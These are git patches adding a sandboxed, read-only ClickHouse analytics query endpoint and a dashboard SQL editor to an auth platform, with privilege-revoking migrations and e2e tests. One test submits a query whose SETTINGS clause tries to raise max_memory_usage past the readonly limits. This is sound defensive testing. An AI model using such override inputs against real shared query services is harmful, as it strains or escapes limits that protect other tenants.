+    'dictGetInt32',
+    'dictGetInt32OrDefault',
+    'dictGetInt64',
+    'dictGetInt64OrDefault',
+    'dictGetUInt8',
+    'dictGetUInt8OrDefault',
+    'dictGetUInt16',
+    'dictGetUInt16OrDefault',
+    'dictGetUInt32',
+    'dictGetUInt32OrDefault',
+    'dictGetUInt64',
+    'dictGetUInt64OrDefault',
+    'dictGetFloat32',
+    'dictGetFloat32OrDefault',
+    'dictGetFloat64',
+    'dictGetFloat64OrDefault',
+    'dictGetDate',
+    'dictGetDateOrDefault',
+    'dictGetDateTime',
+    'dictGetDateTimeOrDefault',
+    'dictGetUUID',
+    'dictGetUUIDOrDefault',
+    'dictGetString',
+    'dictGetStringOrDefault',
+    // embedded dictionaries
+    'regionToCity',
+    'regionToArea',
+    'regionToDistrict',
+    'regionToCountry',
+    'regionToContinent',
+    'regionToTopContinent',
+    'regionToPopulation',
+    'regionIn',
+    'regionHierarchy',
+    'regionToName',
+    // geo
+    // geographical coordinates
+    'greatCircleDistance',
+    'geoDistance',
+    'greatCircleAngle',
+    'pointInEllipses',
+    'pointInPolygon',
+    // geohash
+    'geohashEncode',
+    'geohashDecode',
+    'geohashesInBox',
+    // h3 indexes
+    'h3IsValid',
+    'h3GetResolution',
+    'h3EdgeAngle',
+    'h3EdgeLengthM',
+    'h3EdgeLengthKm',
+    'geoToH3',
+    'h3ToGeo',
+    'h3ToGeoBoundary',
+    'h3kRing',
+    'h3GetBaseCell',
+    'h3HexAreaM2',
+    'h3HexAreaKm2',
+    'h3IndexesAreNeighbors',
+    'h3ToChildren',
+    'h3ToParent',
+    'h3ToString',
+    'stringToH3',
+    'h3GetResolution',
+    'h3EdgeAngle',
+    'h3EdgeLengthM',
+    'h3EdgeLengthKm',
+    'geoToH3',
+    'h3ToGeo',
+    'h3ToGeoBoundary',
+    'h3kRing',
+    'h3GetBaseCell',
+    'h3HexAreaM2',
+    'h3HexAreaKm2',
+    'h3IndexesAreNeighbors',
+    'h3ToChildren',
+    'h3ToParent',
+    'h3ToString',
+    'stringToH3',
+    'h3GetResolution',
+    'h3IsResClassIII',
+    'h3IsPentagon',
+    'h3GetFaces',
+    'h3CellAreaM2',
+    'h3CellAreaRads2',
+    'h3ToCenterChild',
+    'h3ExactEdgeLengthM',
+    'h3ExactEdgeLengthKm',
+    'h3ExactEdgeLengthRads',
+    'h3NumHexagons',
+    'h3Line',
+    'h3Distance',
+    'h3HexRing',
+    // s2 geometry
+    'geoToS2',
+    's2ToGeo',
+    's2GetNeighbors',
+    's2CellsIntersect',
+    's2CapContains',
+    's2CapUnion',
+    's2RectAdd',
+    's2RectContains',
+    's2RectUinion',
+    's2RectIntersection',
+    // nullable
+    'isNull',
+    'isNotNull',
+    'coalesce',
+    'ifNull',
+    'nullIf',
+    'assumeNotNull',
+    'toNullable',
+    // machine learning
+    'evalMLMethod',
+    'stochasticLinearRegression',
+    'stochasticLogisticRegression',
+    // introspection
+    // skipping this as not enabled by default, and is not suggested to
+    // use as they are slow and impose security concerns
+    // tuples
+    'tuple',
+    'tupleElement',
+    'untuple',
+    'tupleHammingDistance',
+    'tupleToNameValuePairs',
+    'tuplePlus',
+    'tupleMinus',
+    'tupleMultiply',
+    'tupleDivide',
+    'tupleNegate',
+    'tupleMultiplyByNumber',
+    'tupleDivideByNumber',
+    'dotProduct',
+    'L1Norm',
+    'L2Norm',
+    'LinfNorm',
+    'LpNorm',
+    'L1Distance',
+    'L2Distance',
+    'LinfDistance',
+    'LpDistance',
+    'L1Normalize',
+    'L2Normalize',
+    'LinfNormalize',
+    'LpNormalize',
+    'cosineDistance',
+    // encryption
+    'encrypt',
+    'aes_encrypt_mysql',
+    'decrypt',
+    'aes_decrypt_mysql',
+    // other
+    'hostName',
+    'getMacro',
+    'FQDN',
+    'basename',
+    'visibleWidth',
+    'toTypeName',
+    'blockSize',
+    'byteSize',
+    'materialize',
+    'ignore',
+    'sleep',
+    'sleepEachRow',
+    'currentDatabase',
+    'currentUser',
+    'isConstant',
+    'isFinite',
+    'isInfinite',
+    'ifNotFinite',
+    'isNaN',
+    'hasColumnInTable',
+    'bar',
+    'transform',
+    'formatReadableSize',
+    'formatReadableQuantity',
+    'formatReadableTimeDelta',
+    'least',
+    'greatest',
+    'uptime',
+    'version',
+    'buildId',
+    'blockNumber',
+    'rowNumberInBlock',
+    'rowNumberInAllBlocks',
+    'neighbor',
+    'runningDifference',
+    'runningDifferenceStartingWithFirstValue',
+    'runningConcurrency',
+    'MACNumToString',
+    'MACStringToNum',
+    'MACStringToOUI',
+    'getSizeOfEnumType',
+    'blockSerializedSize',
+    'toColumnTypeName',
+    'dumpColumnStructure',
+    'defaultValueOfArgumentType',
+    'defaultValueOfTypeName',
+    'indexHint',
+    'replicate',
+    'filesystemAvailable',
+    'filesystemFree',
+    'filesystemCapacity',
+    'initializeAggregation',
+    'finalizeAggregation',
+    'runningAccumulate',
+    'joinGet',
+    'modelEvaluate',
+    'throwIf',
+    'identity',
+    'getSetting',
+    'isDecimalOverflow',
+    'countDigits',
+    'errorCodeToName',
+    'tcpPort',
+    'currentProfiles',
+    'enabledProfiles',
+    'defaultProfiles',
+    'currentRoles',
+    'enabledRoles',
+    'defaultRoles',
+    'getServerPort',
+    'queryID',
+    'initialQueryID',
+    'shardNum',
+    'shardCount',
+    'getOSKernelVersion',
+    'zookeeperSessionUptime',
+    // time window
+    'tumble',
+    'hop',
+    'tumbleStart',
+    'tumbleEnd',
+    'hopStart',
+    'hopEnd',
+    // aggregate functions
+    ...aggregateFunctions,
+    // aggregate functions - parametric
+    'histogram',
+    'sequenceMatch',
+    'sequenceCount',
+    'windowFunnel',
+    'retention',
+    'uniqUpTo',
+    'sumMapFiltered',
+    'sequenceNextNode',
+    // table functions
+    'merge',
+    'numbers',
+    'remote',
+    'url',
+    'mysql',
+    'postgresql',
+    'jdbc',
+    'odbc',
+    'hdfs',
+    's3',
+    'input',
+    'generateRandom',
+    'cluster',
+    'clusterAllReplicas',
+    'view',
+    'null',
+    'dictionary',
+    'hdfsCluster',
+    's3Cluster',
+    'sqlite',
+  ],
+  builtinVariables: [
+    // NOT SUPPORTED
+  ],
+  pseudoColumns: [
+    // NOT SUPPORTED
+  ],
+  tokenizer: {
+    root: [
+      { include: '@comments' },
+      { include: '@whitespace' },
+      { include: '@pseudoColumns' },
+      { include: '@numbers' },
+      { include: '@strings' },
+      { include: '@complexIdentifiers' },
+      { include: '@scopes' },
+      [/[;,.]/, 'delimiter'],
+      [/[()]/, '@brackets'],
+      [
+        /[\w@#$]+/,
+        {
+          cases: {
+            '@operators': 'operator',
+            '@builtinVariables': 'predefined',
+            '@builtinFunctions': 'predefined',
+            '@keywords': 'keyword',
+            '@default': 'identifier',
+          },
+        },
+      ],
+      [/[<>=!%&+\-*/|~^]/, 'operator'],
+    ],
+    whitespace: [[/\s+/, 'white']],
+    comments: [
+      [/--+.*/, 'comment'],
+      [/\/\*/, { token: 'comment.quote', next: '@comment' }],
+    ],
+    comment: [
+      [/[^*/]+/, 'comment'],
+      // Not supporting nested comments, as nested comments seem to not be standard?
+      // i.e. http://stackoverflow.com/questions/728172/are-there-multiline-comment-delimiters-in-sql-that-are-vendor-agnostic
+      // [/\/\*/, { token: 'comment.quote', next: '@push' }],    // nested comment not allowed :-(
+      [/\*\//, { token: 'comment.quote', next: '@pop' }],
+      [/./, 'comment'],
+    ],
+    pseudoColumns: [
+      [
+        /[$][A-Za-z_][\w@#$]*/,
+        {
+          cases: {
+            '@pseudoColumns': 'predefined',
+            '@default': 'identifier',
+          },
+        },
+      ],
+    ],
+    numbers: [
+      [/0[xX][0-9a-fA-F]*/, 'number'],
+      [/[$][+-]*\d*(\.\d*)?/, 'number'],
+      [/((\d+(\.\d*)?)|(\.\d+))([eE][-+]?\d+)?/, 'number'],
+    ],
+    strings: [[/'/, { token: 'string', next: '@string' }]],
+    string: [
+      [/[^']+/, 'string'],
+      [/''/, 'string'],
+      [/'/, { token: 'string', next: '@pop' }],
+    ],
+    complexIdentifiers: [
+      [/"/, { token: 'identifier.quote', next: '@quotedIdentifier' }],
+    ],
+    quotedIdentifier: [
+      [/[^"]+/, 'identifier'],
+      [/""/, 'identifier'],
+      [/"/, { token: 'identifier.quote', next: '@pop' }],
+    ],
+    scopes: [
+      // NOT SUPPORTED
+    ],
+  },
+};
+
+export const clickhouseKeywords = language.keywords as string[];
diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page-client.tsx b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page-client.tsx
new file mode 100644
index 0000000000..3465a91676
--- /dev/null
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page-client.tsx
@@ -0,0 +1,215 @@
+"use client";
+
+import Editor from "@monaco-editor/react";
+import type { Monaco } from "@monaco-editor/react";
+import React, { useEffect, useMemo, useRef } from "react";
+import { Alert, Button, Textarea, Typography } from "@/components/ui";
+import { PageLayout } from "../page-layout";
+import { useAdminApp } from "../use-admin-app";
+import { clickhouseKeywords, clickhouseTables, conf, language } from "./monaco-clickhouse";
+
+const CLICKHOUSE_LANGUAGE_ID = "clickhouse-sql";
+
+type Disposable = { dispose: () => void };
+type CompletionItem = Parameters<Monaco["languages"]["registerCompletionItemProvider"]>[1]["provideCompletionItems"] extends (
+  ...args: any
+) => infer R
+  ? R extends { suggestions: Array<infer U> }
+    ? U
+    : never
+  : never;
+
+export default function PageClient() {
+  const adminApp = useAdminApp();
+  const [query, setQuery] = React.useState("SELECT 1 AS value;");
+  const [resultText, setResultText] = React.useState("");
+  const [error, setError] = React.useState<string | null>(null);
+  const [loading, setLoading] = React.useState(false);
+  const disposables = useRef<Disposable[]>([]);
+  const queryRef = useRef(query);
+
+  const tableColumnSuggestions = useMemo(() => {
+    return Object.entries(clickhouseTables).flatMap(([table, columns]) =>
+      columns.map((column) => ({ table, column })),
+    );
+  }, []);
+
+  useEffect(() => {
+    const disposablesToDispose = disposables.current;
+    return () => {
+      disposablesToDispose.forEach((d) => d.dispose());
+    };
+  }, []);
+
+  const runQuery = () => {
+    const currentQuery = queryRef.current.trim();
+    if (!currentQuery) {
+      return;
+    }
+
+    const execute = async () => {
+      setLoading(true);
+      setError(null);
+      try {
+        const response = await adminApp.queryAnalytics({
+          query: currentQuery,
+          include_all_branches: false,
+        });
+        setResultText(JSON.stringify(response.result, null, 2));
+      } catch (e: any) {
+        setError(e?.message ?? "Failed to run analytics query.");
+        setResultText("");
+      } finally {
+        setLoading(false);
+      }
+    };
+
+    // eslint-disable-next-line @typescript-eslint/no-floating-promises
+    void execute();
+  };
+
+  const handleEditorMount: Parameters<typeof Editor>[0]["onMount"] = (instance, monaco: Monaco) => {
+    if (!monaco.languages.getLanguages().some((lang) => lang.id === CLICKHOUSE_LANGUAGE_ID)) {
+      monaco.languages.register({ id: CLICKHOUSE_LANGUAGE_ID });
+      monaco.languages.setLanguageConfiguration(CLICKHOUSE_LANGUAGE_ID, conf);
+      monaco.languages.setMonarchTokensProvider(CLICKHOUSE_LANGUAGE_ID, language);
+    }
+
+    disposables.current.push(
+      monaco.languages.registerCompletionItemProvider(CLICKHOUSE_LANGUAGE_ID, {
+        triggerCharacters: [".", " "],
+        provideCompletionItems: (model, position) => {
+          const word = model.getWordUntilPosition(position);
+          const range = {
+            startLineNumber: position.lineNumber,
+            endLineNumber: position.lineNumber,
+            startColumn: word.startColumn,
+            endColumn: word.endColumn,
+          };
+
+          const linePrefix = model.getValueInRange({
+            startLineNumber: position.lineNumber,
+            startColumn: 1,
+            endLineNumber: position.lineNumber,
+            endColumn: position.column,
+          });
+
+          const tableMatch = /([a-zA-Z_][\w]*)\.\s*$/.exec(linePrefix);
+          const suggestions: CompletionItem[] = [];
+
+          if (tableMatch) {
+            const tableName = tableMatch[1].toLowerCase();
+            const columns = (clickhouseTables as Record<string, readonly string[] | undefined>)[tableName];
+            if (columns) {
+              columns.forEach((column) => {
+                suggestions.push({
+                  label: column,
+                  kind: monaco.languages.CompletionItemKind.Field,
+                  insertText: column,
+                  range,
+                  detail: `${tableName}.${column}`,
+                });
+              });
+            }
+          } else {
+            Object.keys(clickhouseTables).forEach((table) => {
+              suggestions.push({
+                label: table,
+                kind: monaco.languages.CompletionItemKind.Class,
+                insertText: table,
+                range,
+                detail: "Table",
+              });
+            });
+
+            tableColumnSuggestions.forEach(({ table, column }) => {
+              suggestions.push({
+                label: `${table}.${column}`,
+                kind: monaco.languages.CompletionItemKind.Field,
+                insertText: `${table}.${column}`,
+                range,
+              });
+            });
+
+            clickhouseKeywords.forEach((keyword) => {
+              suggestions.push({
+                label: keyword,
+                kind: monaco.languages.CompletionItemKind.Keyword,
+                insertText: keyword,
+                range,
+              });
+            });
+          }
+
+          return { suggestions };
+        },
+      }),
+    );
+
+    const model = instance.getModel();
+    if (model) {
+      monaco.editor.setModelLanguage(model, CLICKHOUSE_LANGUAGE_ID);
+    }
+
+    instance.addCommand(monaco.KeyMod.CtrlCmd | monaco.KeyCode.Enter, () => {
+      void runQuery();
+    });
+  };
+
+  return (
+    <PageLayout
+      title="Analytics Query"
+      description="Run read-only analytics queries against your project's ClickHouse dataset."
+      fillWidth
+    >
+      <div className="flex justify-center">
+        <Button
+          onClick={runQuery}
+          loading={loading}
+          disabled={loading || !queryRef.current.trim()}
+        >
+          Run query (⌘ + enter)
+        </Button>
+      </div>
+
+      {error && <Alert variant="destructive">{error}</Alert>}
+
+      <div className="grid gap-4 md:grid-cols-2">
+        <div className="flex flex-col gap-2">
+          <div className="border border-border/50 rounded-md overflow-hidden h-[460px]">
+            <Editor
+              height="100%"
+              defaultLanguage={CLICKHOUSE_LANGUAGE_ID}
+              language={CLICKHOUSE_LANGUAGE_ID}
+              value={query}
+              onChange={(value) => {
+                const next = value ?? "";
+                setQuery(next);
+                queryRef.current = next;
+              }}
+              onMount={handleEditorMount}
+              options={{
+                minimap: { enabled: false },
+                fontSize: 14,
+                scrollBeyondLastLine: false,
+                wordWrap: "on",
+                fixedOverflowWidgets: true,
+                padding: { top: 10, bottom: 10 },
+              }}
+              theme="vs-dark"
+            />
+          </div>
+        </div>
+        <div className="flex flex-col gap-2">
+          <Textarea
+            className="font-mono h-[460px]"
+            readOnly
+            spellCheck={false}
+            value={resultText}
+            placeholder="Query results will appear here."
+          />
+        </div>
+      </div>
+    </PageLayout>
+  );
+}
diff --git a/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page.tsx b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page.tsx
new file mode 100644
index 0000000000..84cdebde14
--- /dev/null
+++ b/apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/query-analytics/page.tsx
@@ -0,0 +1,5 @@
+import PageClient from "./page-client";
+
+export default function Page() {
+  return <PageClient />;
+}
diff --git a/packages/stack-shared/src/interface/admin-interface.ts b/packages/stack-shared/src/interface/admin-interface.ts
index dd64af8bfd..9d01175cfc 100644
--- a/packages/stack-shared/src/interface/admin-interface.ts
+++ b/packages/stack-shared/src/interface/admin-interface.ts
@@ -7,6 +7,7 @@ import { InternalApiKeysCrud } from "./crud/internal-api-keys";
 import { ProjectPermissionDefinitionsCrud } from "./crud/project-permissions";
 import { ProjectsCrud } from "./crud/projects";
 import { SvixTokenCrud } from "./crud/svix-token";
+import type { AnalyticsQueryOptions, AnalyticsQueryResponse } from "./crud/analytics";
 import { TeamPermissionDefinitionsCrud } from "./crud/team-permissions";
 import type { Transaction, TransactionType } from "./crud/transactions";
 import { ServerAuthApplicationOptions, StackServerInterface } from "./server-interface";
@@ -664,4 +665,26 @@ export class StackAdminInterface extends StackServerInterface {
     return await response.json();
   }
 
+  async queryAnalytics(options: AnalyticsQueryOptions): Promise<AnalyticsQueryResponse> {
+    const response = await this.sendAdminRequest(
+      "/internal/analytics/query",
+      {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({
+          query: options.query,
+          params: options.params ?? {},
+          timeout_ms: options.timeout_ms ?? 1000,
+          include_all_branches: options.include_all_branches ?? false,
+        }),
+      },
+      null,
+    );
+
+    const data = await response.json();
+    return {
+      result: data.result,
+    };
+  }
+
 }
diff --git a/packages/stack-shared/src/interface/crud/analytics.ts b/packages/stack-shared/src/interface/crud/analytics.ts
new file mode 100644
index 0000000000..dd724605aa
--- /dev/null
+++ b/packages/stack-shared/src/interface/crud/analytics.ts
@@ -0,0 +1,10 @@
+export type AnalyticsQueryOptions = {
+  query: string,
+  params?: Record<string, unknown>,
+  timeout_ms?: number,
+  include_all_branches?: boolean,
+};
+
+export type AnalyticsQueryResponse = {
+  result: Record<string, unknown>[],
+};
diff --git a/packages/template/src/lib/stack-app/apps/implementations/admin-app-impl.ts b/packages/template/src/lib/stack-app/apps/implementations/admin-app-impl.ts
index ea0b7f0a8a..c296a90c04 100644
--- a/packages/template/src/lib/stack-app/apps/implementations/admin-app-impl.ts
+++ b/packages/template/src/lib/stack-app/apps/implementations/admin-app-impl.ts
@@ -1,6 +1,7 @@
 import { StackAdminInterface } from "@stackframe/stack-shared";
 import { getProductionModeErrors } from "@stackframe/stack-shared/dist/helpers/production-mode";
 import { InternalApiKeyCreateCrudResponse } from "@stackframe/stack-shared/dist/interface/admin-interface";
+import { AnalyticsQueryOptions, AnalyticsQueryResponse } from "@stackframe/stack-shared/dist/interface/crud/analytics";
 import { EmailTemplateCrud } from "@stackframe/stack-shared/dist/interface/crud/email-templates";
 import { InternalApiKeysCrud } from "@stackframe/stack-shared/dist/interface/crud/internal-api-keys";
 import { ProjectsCrud } from "@stackframe/stack-shared/dist/interface/crud/projects";
@@ -628,4 +629,8 @@ export class _StackAdminAppImplIncomplete<HasTokenStore extends boolean, Project
     return data;
   }
   // END_PLATFORM
+
+  async queryAnalytics(options: AnalyticsQueryOptions): Promise<AnalyticsQueryResponse> {
+    return await this._interface.queryAnalytics(options);
+  }
 }
diff --git a/packages/template/src/lib/stack-app/apps/interfaces/admin-app.ts b/packages/template/src/lib/stack-app/apps/interfaces/admin-app.ts
index 0ab52871c2..b1285f3f4e 100644
--- a/packages/template/src/lib/stack-app/apps/interfaces/admin-app.ts
+++ b/packages/template/src/lib/stack-app/apps/interfaces/admin-app.ts
@@ -1,4 +1,5 @@
 import { ChatContent } from "@stackframe/stack-shared/dist/interface/admin-interface";
+import { AnalyticsQueryOptions, AnalyticsQueryResponse } from "@stackframe/stack-shared/dist/interface/crud/analytics";
 import type { Transaction, TransactionType } from "@stackframe/stack-shared/dist/interface/crud/transactions";
 import { InternalSession } from "@stackframe/stack-shared/dist/sessions";
 import { Result } from "@stackframe/stack-shared/dist/utils/results";
@@ -90,6 +91,7 @@ export type StackAdminApp<HasTokenStore extends boolean = boolean, ProjectId ext
       { customCustomerId: string, itemId: string, quantity: number, expiresAt?: string, description?: string }
     )): Promise<void>,
     refundTransaction(options: { type: "subscription" | "one-time-purchase", id: string }): Promise<void>,
+    queryAnalytics(options: AnalyticsQueryOptions): Promise<AnalyticsQueryResponse>,
   }
   & StackServerApp<HasTokenStore, ProjectId>
 );

From e62251464f632550af4b332053062356d4133610 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 12:29:03 -0800
Subject: [PATCH 12/25] stricter user in clickhouse migration

---
 apps/backend/scripts/clickhouse-migrations.ts | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 8510734b3f..2dc42eb175 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -15,9 +15,9 @@ export async function runClickhouseMigrations() {
     query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
   });
   const queries = [
+    "REVOKE ALL PRIVILEGES ON *.* FROM limited_user;",
+    "REVOKE ALL FROM limited_user;",
     "GRANT SELECT ON analytics.events TO limited_user;",
-    "REVOKE ALL ON system.* FROM limited_user;",
-    "REVOKE CREATE, ALTER, DROP, INSERT ON *.* FROM limited_user;"
   ];
   for (const query of queries) {
     await client.exec({ query });

From fae51667d55a0cad81a1714e9ed3b8daec4997dd Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 14:07:25 -0800
Subject: [PATCH 13/25] modify settings test, clickhouse fixes

---
 apps/backend/scripts/clickhouse-migrations.ts |  2 +-
 .../latest/internal/analytics/query/route.ts  |  4 ++-
 .../endpoints/api/v1/analytics-query.test.ts  | 31 +++++++++++++++++++
 3 files changed, 35 insertions(+), 2 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 2dc42eb175..4233df30f8 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -6,7 +6,7 @@ export async function runClickhouseMigrations() {
   const client = clickhouseAdminClient;
   const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
   await client.exec({
-    query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH plaintext_password BY {clickhouseExternalPassword:String}",
+    query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH sha256_password BY {clickhouseExternalPassword:String}",
     query_params: { clickhouseExternalPassword },
   });
   // todo: create migration files
diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index ea3d868224..51a0551ef6 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -17,7 +17,7 @@ export const POST = createSmartRouteHandler({
       include_all_branches: yupBoolean().default(false),
       query: yupString().defined().nonEmpty(),
       params: yupRecord(yupString().defined(), yupMixed().defined()).default({}),
-      timeout_ms: yupNumber().integer().min(1).max(60000).default(1000),
+      timeout_ms: yupNumber().integer().min(10_000).default(10_000),
     }).defined(),
   }),
   response: yupObject({
@@ -45,6 +45,8 @@ export const POST = createSmartRouteHandler({
         SQL_project_id: auth.tenancy.project.id,
         SQL_branch_id: auth.tenancy.branchId,
         max_execution_time: body.timeout_ms / 1000,
+        readonly: "1",
+        allow_ddl: 0,
       },
       format: "JSONEachRow",
     }));
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index ce57179436..518eedf667 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -385,3 +385,34 @@ it("does not allow INSERT statements", async ({ expect }) => {
     }
   `);
 });
+
+
+it("does not allow updating ClickHouse settings", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
+    method: "POST",
+    accessType: "admin",
+    body: {
+      query: `SELECT *
+FROM events
+SETTINGS max_memory_usage = 10000000000;`,
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Cannot modify 'max_memory_usage' setting in readonly mode. " },
+        "error": "The query failed to execute: Cannot modify 'max_memory_usage' setting in readonly mode. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});

From 49c8d0f44ad24aaf0699a34a6ea1b84742ac22bc Mon Sep 17 00:00:00 2001
From: Konstantin Wohlwend <n2d4xc@gmail.com>
Date: Thu, 18 Dec 2025 15:05:08 -0800
Subject: [PATCH 14/25] various changes

---
 apps/backend/.env                             |   7 +
 apps/backend/.env.development                 |   2 -
 .../latest/internal/analytics/query/route.ts  |   4 +-
 apps/backend/src/lib/clickhouse.tsx           |   8 +-
 apps/e2e/tests/backend/backend-helpers.ts     |   2 +-
 .../endpoints/api/v1/analytics-query.test.ts  | 298 +++++++++---------
 apps/e2e/tests/snapshot-serializer.ts         |   1 +
 7 files changed, 164 insertions(+), 158 deletions(-)

diff --git a/apps/backend/.env b/apps/backend/.env
index 93b4837c43..61656080ea 100644
--- a/apps/backend/.env
+++ b/apps/backend/.env
@@ -82,6 +82,13 @@ STACK_QSTASH_TOKEN=
 STACK_QSTASH_CURRENT_SIGNING_KEY=
 STACK_QSTASH_NEXT_SIGNING_KEY=
 
+# Clickhouse
+STACK_CLICKHOUSE_URL=# URL of the Clickhouse instance
+STACK_CLICKHOUSE_ADMIN_USER=# username of the admin account
+STACK_CLICKHOUSE_ADMIN_PASSWORD=# password of the admin account
+STACK_CLICKHOUSE_EXTERNAL_PASSWORD=# a randomly generated secure string. The user account will be created automatically
+
+
 # Misc
 STACK_ACCESS_TOKEN_EXPIRATION_TIME=# enter the expiration time for the access token here. Optional, don't specify it for default value
 STACK_SETUP_ADMIN_GITHUB_ID=# enter the account ID of the admin user here, and after running the seed script they will be able to access the internal project in the Stack dashboard. Optional, don't specify it for default value
diff --git a/apps/backend/.env.development b/apps/backend/.env.development
index 53efcd16e7..2ec5106dcd 100644
--- a/apps/backend/.env.development
+++ b/apps/backend/.env.development
@@ -77,6 +77,4 @@ STACK_QSTASH_NEXT_SIGNING_KEY=sig_5ZB6DVzB1wjE8S6rZ7eenA8Pdnhs
 STACK_CLICKHOUSE_URL=http://localhost:${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33
 STACK_CLICKHOUSE_ADMIN_USER=stackframe
 STACK_CLICKHOUSE_ADMIN_PASSWORD=PASSWORD-PLACEHOLDER--9gKyMxJeMx
-STACK_CLICKHOUSE_EXTERNAL_USER=limited_user
 STACK_CLICKHOUSE_EXTERNAL_PASSWORD=PASSWORD-PLACEHOLDER--EZeHscBMzE
-STACK_CLICKHOUSE_DATABASE=analytics
diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index 51a0551ef6..6fb234db07 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -1,7 +1,7 @@
 import { clickhouseExternalClient, getQueryTimingStats } from "@/lib/clickhouse";
 import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
 import { KnownErrors } from "@stackframe/stack-shared";
-import { adaptSchema, jsonSchema, adminAuthTypeSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
+import { adaptSchema, adminAuthTypeSchema, jsonSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
 import { StackAssertionError } from "@stackframe/stack-shared/dist/utils/errors";
 import { Result } from "@stackframe/stack-shared/dist/utils/results";
 import { randomUUID } from "crypto";
@@ -17,7 +17,7 @@ export const POST = createSmartRouteHandler({
       include_all_branches: yupBoolean().default(false),
       query: yupString().defined().nonEmpty(),
       params: yupRecord(yupString().defined(), yupMixed().defined()).default({}),
-      timeout_ms: yupNumber().integer().min(10_000).default(10_000),
+      timeout_ms: yupNumber().integer().min(1_000).default(10_000),
     }).defined(),
   }),
   response: yupObject({
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index 11d9a1ec6a..e8bc4cc2a3 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -4,10 +4,10 @@ import { StackAssertionError } from "@stackframe/stack-shared/dist/utils/errors"
 
 const clickhouseUrl = getEnvVariable("STACK_CLICKHOUSE_URL");
 const clickhouseAdminUser = getEnvVariable("STACK_CLICKHOUSE_ADMIN_USER", "stackframe");
-const clickhouseExternalUser = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_USER", "limited_user");
+const clickhouseExternalUser = "limited_user";
 const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD");
 const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
-const clickhouseDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "analytics");
+const clickhouseDefaultDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "default");
 
 export function createClickhouseClient(authType: "admin" | "external", database?: string) {
   return createClient({
@@ -18,8 +18,8 @@ export function createClickhouseClient(authType: "admin" | "external", database?
   });
 }
 
-export const clickhouseAdminClient = createClickhouseClient("admin", clickhouseDatabase);
-export const clickhouseExternalClient = createClickhouseClient("external", clickhouseDatabase);
+export const clickhouseAdminClient = createClickhouseClient("admin", clickhouseDefaultDatabase);
+export const clickhouseExternalClient = createClickhouseClient("external", clickhouseDefaultDatabase);
 
 export const getQueryTimingStats = async (client: ClickHouseClient, queryId: string) => {
   // Flush logs to ensure system.query_log has latest query result.
diff --git a/apps/e2e/tests/backend/backend-helpers.ts b/apps/e2e/tests/backend/backend-helpers.ts
index a2ff1140b9..63eae7b7d5 100644
--- a/apps/e2e/tests/backend/backend-helpers.ts
+++ b/apps/e2e/tests/backend/backend-helpers.ts
@@ -94,7 +94,7 @@ function expectSnakeCase(obj: unknown, path: string): void {
     }
   } else {
     for (const [key, value] of Object.entries(obj)) {
